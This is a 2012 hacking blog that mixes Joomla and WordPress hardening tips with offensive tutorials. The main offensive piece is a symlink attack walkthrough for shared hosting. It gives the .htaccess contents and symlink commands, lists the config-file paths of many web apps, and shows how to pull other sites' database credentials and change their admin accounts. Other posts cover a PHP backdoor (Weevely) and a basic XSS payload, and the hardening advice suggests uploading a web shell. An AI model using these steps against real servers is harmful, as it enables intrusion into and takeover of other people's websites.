Friday, 31 August 2012

Most Important Steps To Secure Joomla!



Hello guys, today I'm going to tell you most important steps to secure your Joomla! website. With those steps you can prevent almost 98% of the attacks!
Joomla! is one of the most popular webapps used on the internet, and from my point view only 5% of them are actually secured! xD
For hackers, when they see a joomla website on the server, they think it an easy target (It is an easy target if you didn't secure it!) and start attacking it!

So let's start with our steps! =)



1. Make Your Password Super hard!

Joomla! hashes are hard to crack, but not very hard though. So a hard password for Login brute-forcing cannot secure your hash from getting cracked if the attacker got an SQLi in your website.
what I will suggest is, making your password long, full of special characters, and full of numbers and letters. A hard password would be like this following:

W#W#W.S3cUr!tYg3Ek$.N3t|R0(k$s$z

You might be wondering, How in the hell would I remember this?! o_O
well easy, save it in you computer, mobile and somewhere else (In case you lost them) to use them when needed!
The above password would take forever to get cracked, usually hackers will target another site when the hash doesn't crack xD and still you can make it much longer, like copy that and paste it three times and use it as a password :D

2. Securing From Symlink

For those who don't know what symlink can do, If an attacker got access to the server, he can make a symbolic link to your configuration file, sign in to your database and then change your password!
what you have to do is change your configuration file permissions to 400 | HOW? Open your Cpanel and you can find the option to change the file permissions. OR you can change it using FTP using filezilla. another way (Most dangerous but best) is uploading a shell on your site, and changing the permissions from there! :)
How can I change with shell?
run this command in your Public_html directory:

chmod 400 configuration.php

3. Securing From Shell Upload

In Joomla, hackers upload the shell as in media section, after allowing PHP extension in global configuration. what we should do is, securing from shell upload even if they have access to the admin panel somehow.
chmod /images/ directory to 400 when you don't need to upload anything. that will make it not write-able for uploading even if .php is enabled.
disabled your FTP when you are not using it, and avoid opened FTP as much as possible. by doing those two things you will prevent many shell upload attempts by any attacker.

4. Scanning And Being Up-To-Date

Scan your website every time you install a plugin, and keep checking exploits Databases like 1337day and exploit-db to see if your joomla have any vulnerabilities or not.
after installing your joomla, scan it with JoomScan to see what vulnerabilities and patch them before you even launch your website.

4. Fast Tips/Tricks

# NEVER use the same password on two different things related to your website! for example your admin panel and FTP password, database password and FTP password and so on. even don't use the same password as your email or facebook!

# DO NOT use "admin" or "administrator" as your username in your website.

# Disable FTP when it's not needed.

# Try to change your admin password every once and a while!

# Check This Link to apply more security stuff!


Monday, 27 August 2012

How To Make 404 Page For Blogger (FULL 404 PAGE)



Hello guys, today I'm going to show you how to make a 404 page for your blogger blog! I found this way by my self because I really didn't like that 404 ERROR blogger give, and wanted to make a full 404 page like normal websites.

So here are the steps in the video bellow:

1. Make a new blog, call it whatever you want

2. Change to blogger old interface

3. Click on design of the new blog, then Edit Html (Design > Edit HTML)

4. Look at the bottom of the page, you will find "Revert To Classic Template" > Click on that
Now you will be able to change the whole code of the blog, with no errors! in other words fully deface it!

5. Paste your 404 page inside that blog, then save it.

6. Go to your Domain Name host and add that blog as 404.YourWebsite.COM (Note:- You can change to anything not 404.yourwebsite.com, but i thought 404.yourwebsite.com will look better)

7. Now go to Your main blog, click on Settings > Search Preferences 

8. You Will find custom 404 page there, click on "SET" and paste this code in it:



9. Change the link in the Code to your 404 page blog, to redirect the user to it.

Now whenever someone open a broken link, the blogger 404 error message will have this javascript will run and redirect him/her to the 404 page!

Now watch this video for more Understanding!


               

The code:


-----------------------------------------------------
UPDATED!
after Blogger removed the classic theme, the video above is not fully useful now. BUT, now here is the new way to FULLY change the blogger page (deface it) with the new theme.
1.Click on your blog, and then click on "Template"
2.Scroll down to the bottom of the page until you see something like this:
3. Click on "Revert to classic templates" and you will see something like this:
4. Now click on "Revert to classic template", and you're DONE!
now you will be able to change the main index :)
Enjoy =)


Friday, 24 August 2012

Hackers Wanted (2008) Full Documentary



This Video is actually one of the best videos I've ever watched. And, I think it's worth taking the time and watching it in full!
I saw this first on a forum (PakistaniSpot) and then someone sent me a link to it again in Hackers Media, so I thought it will be good to watch xD AND yes! I really enjoyed it!
one of the best videos I've watched in a while!
Hope you enjoy it too! =)








Friday, 17 August 2012

Most Important Steps To Secure Wordpress



Hello Guys, Today I'm going to tell you the most important steps to do to have a more secured Wordpress blog.
I think wordpress is the most used Webapps on cyber now; however, it's almost the easiest to be hacked and defaced!
But, on the other hand, securing your wordpress is so easy. specially on linux servers.

Note:- This tut will be based on linux commands, if you're a windows server user this tutorial is not completely for you!

so lets start with our steps!

1. Harder & Longer Password
Wordpress Hashes are so hard to crack (hardest for me xD) so making you password harder than "123456" , "admin" , "password" could help you ALOT!
The first thing a hacker would do is guess your password, if he failed he'll brute force it!
Hard password can save you from almost 50% of the attacks ! (In My Point of view )
When we say "hard password" it means using special characters like (@, () , [] , {} , ^ , % ,$ ,#,!,) and so on..
A longer password would not only secure you from Brute forcing, but even if you have a vulnerability like SQL injection for example and the attacker got a hash of your password (which is a Long and Full of special characters password) it would be hard as hell to crack it! and it will take them forever to crack it!

2. Securing From Symlink
Symlink is the most common way of hacking nowadays, and securing your website from it is will help you much!
For those who don't know what symlinking is can read my Symlink tutorial here. 
now to secure your blog from this kind of attack, you just have to change the permissions of you configuration file. You can do that though FTP, Cpanel, a shell, etc. 
just change the configuration file (wp-config.php in your case =) ) to 400
you can do that in a shell by running this command:
chmod 400 wp-config.php
and other ways are easy, just press on the option and change (in FTP and cpanel)
and always remember to remove your shell as soon as you finish working on it! xD 
Chmoding this file to 400, will not allow the attack to read your configuration file from another user! and that's about it :P


3. Securing From Defacing
If a hacker managed to get in your admin panel (somehow o.O) maybe through a Trojan on your PC or something you should close all the ways that let him upload a shell or deface your website!
What you can do it change the permission of all the pages (index.php, 404.php, footer.php, etc etc) in the theme to 400 (Example: chmod 400 page.php) or through your ftp or cpanel because if those files are writable there is a big change that the attacker change their source to a shell source code and deface you.

4. Vulnerability Discovering & Finding And Removing

Scan it every month just to check if any plugin have any vulnerability or something. that will make you faster than the hacker by discovering the vulnerability and patching it before someone else exploit it.
and second thing you want to do is being up-to-date with 133day.com and Wordpress forums they post any discovered vulnerability and sometimes its patches. This will help you to be less exploitable (I guess xD) 

5. Some Quick Tips

# NEVER EVER use the same password in two different things related to your website for example your Database's password and Cpanel's password, website's password and Database's password.
Always use different passwords

# Disable FTP when there is no use of it

# Don't use "admin" or "administrator" as your username

# Change Admin's Panel password every two weeks or so

# Read this article on Wordpress official website (Click Here) For more security


Following the above steps can prevent almost 98% of the attacks on your wordpress blog :)
Hope you liked it!
thanks for reading.


Tuesday, 14 August 2012

Symlink Tutorial





Hello Guys, Today I'm going to explain how to symlink websites in two different methods.
So Lets Start!

[#] Explanation
First I will explain what symlink can do, Symlinking is making Symbolic links to other websites on the same server to read their configuration files, connect to their database, and get the information needed to get access to their Control panel.
and that's about it :)



[#] Method #1

After uploading you shell on the server make a directory with the command bellow:

mkdir sym


NOTE:- The directory can be called whatever you want, just change the "sym" to any name.

Enter your new directory then upload OR create a file called ".htaccess" in the new directory with the code bellow inside it:


Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any
Like this picture:

After that, we will run the command bellow to create a symlink to "/" directory:
ln -s / root
and it will look like this:


And if we opened the directory "sym" from our browser like "www.website.com/sym"
it should look like this:
in the image above my shell was in /downloads so I made "sym" directory inside /downloads

and our process is almost done, now we just have to get the user of the target website.
I've provided user.php code in the bottom of the post, this script will give you all the websites on the server and their username.

when you get the username of your target, just open the link like this:

www.website.com/sym/root/home/(user)/public_html
where (user) = the user of the target
here is a picture for example:

where the user was "hillock"

now the next step is easy, we will start looking for the configuration its usually called config.php, or configuration.php.
here are the location of configuration files in the most famous webapps out there.


vBulletin -- /includes/config.php
IPB -- /conf_global.php
MyBB -- /inc/config.php
Phpbb -- /config.php
Php Nuke -- /config.php
Php-Fusion -- config.php
SMF -- /Settings.php
Joomla -- configuration.php , configuration.php-dist
WordPress -- /wp-config.php
Drupal -- /sites/default/settings.php
Oscommerce -- /includes/configure.php
e107 -- /e107_config.php
Seditio -- /datas/config.php


when you find the configuration file, it will contain the database details.
it will look like the image bellow (image bellow is joomla configuration file):

now upload SQL.php (code provided bellow)
and connect to the database.
Congrats :) now you can get all the details from admin table, and even change it.

[#] Method #2

In this method, we wont symlink the root directory, we will symlink the target's public_html dir directly.
To do this, just follow those steps,
1. Make the a new directory, just like method 1
2. make ".htaccess" OR upload it with the code bellow:

Options Indexes FollowSymlinks
DirectoryIndex z0mbie.htm
AddType txt .php
AddHandler txt .php

3. run the following comman:

ln -s /home/(user)/public_html (user)

where (user) = the target's user
and it will look like this when we open it in our browser:
in the picture the user name of my target was "csseipsn"
now you just have to find the configuration and connect :)

Scripts Needed:

User.php Source Code
SQL.php Source Code

FOR EDUCATIONAL PURPOSE ONLY!


Monday, 13 August 2012

How To Connect To A Server Via Weevely Backdoor






Hello Guys,
today I have another video for you on how to connect to a server via weevely!

weevely is a PHP backdoor.
and from this tutorial you can get better understanding about my R00ting with weevely Tutorial :)

so here is the video, hope you like it!




           
Best Played In Full Screen Mode!

Enjoy :)



Sunday, 12 August 2012

Basic XSS understanding





Hello guys,
today I'm going to try to give you my basic understanding of XSS attacks.
there are two types of XSS attacks which are

1. None Persistent XSS

2. Persistent XSS



First, the None Persistent one is when you add your text like this:

www.website.com/search.php?search=Troll3d 

and the site shows something like:

"Search Result For Troll3d"


when we see that the text is displayed on the page with no validation 

then we try to put some HTML tags like:

www.website.co,/search.php?search=Tr0ll3d
or some Javascript like:

www.website.com/search.php?search=<script>alert("Tr0ll3d");</script>
If we got blinking text, or the java script ran successfully that means we can display anything we want, but that's not that dangerous for the website.

Second type is the Persistent XSS, this one is more dangerous which allow us to inject our codes in the website's source, with just little knowledge of Javascript you can even deface the website at extreme cases.
For the Persistent XSS, I found a perfect video from OWASP tutorials which I learned XSS from (Today after I got a request to make this tut xD )


Hope it was useful  for you guys :)
enjoy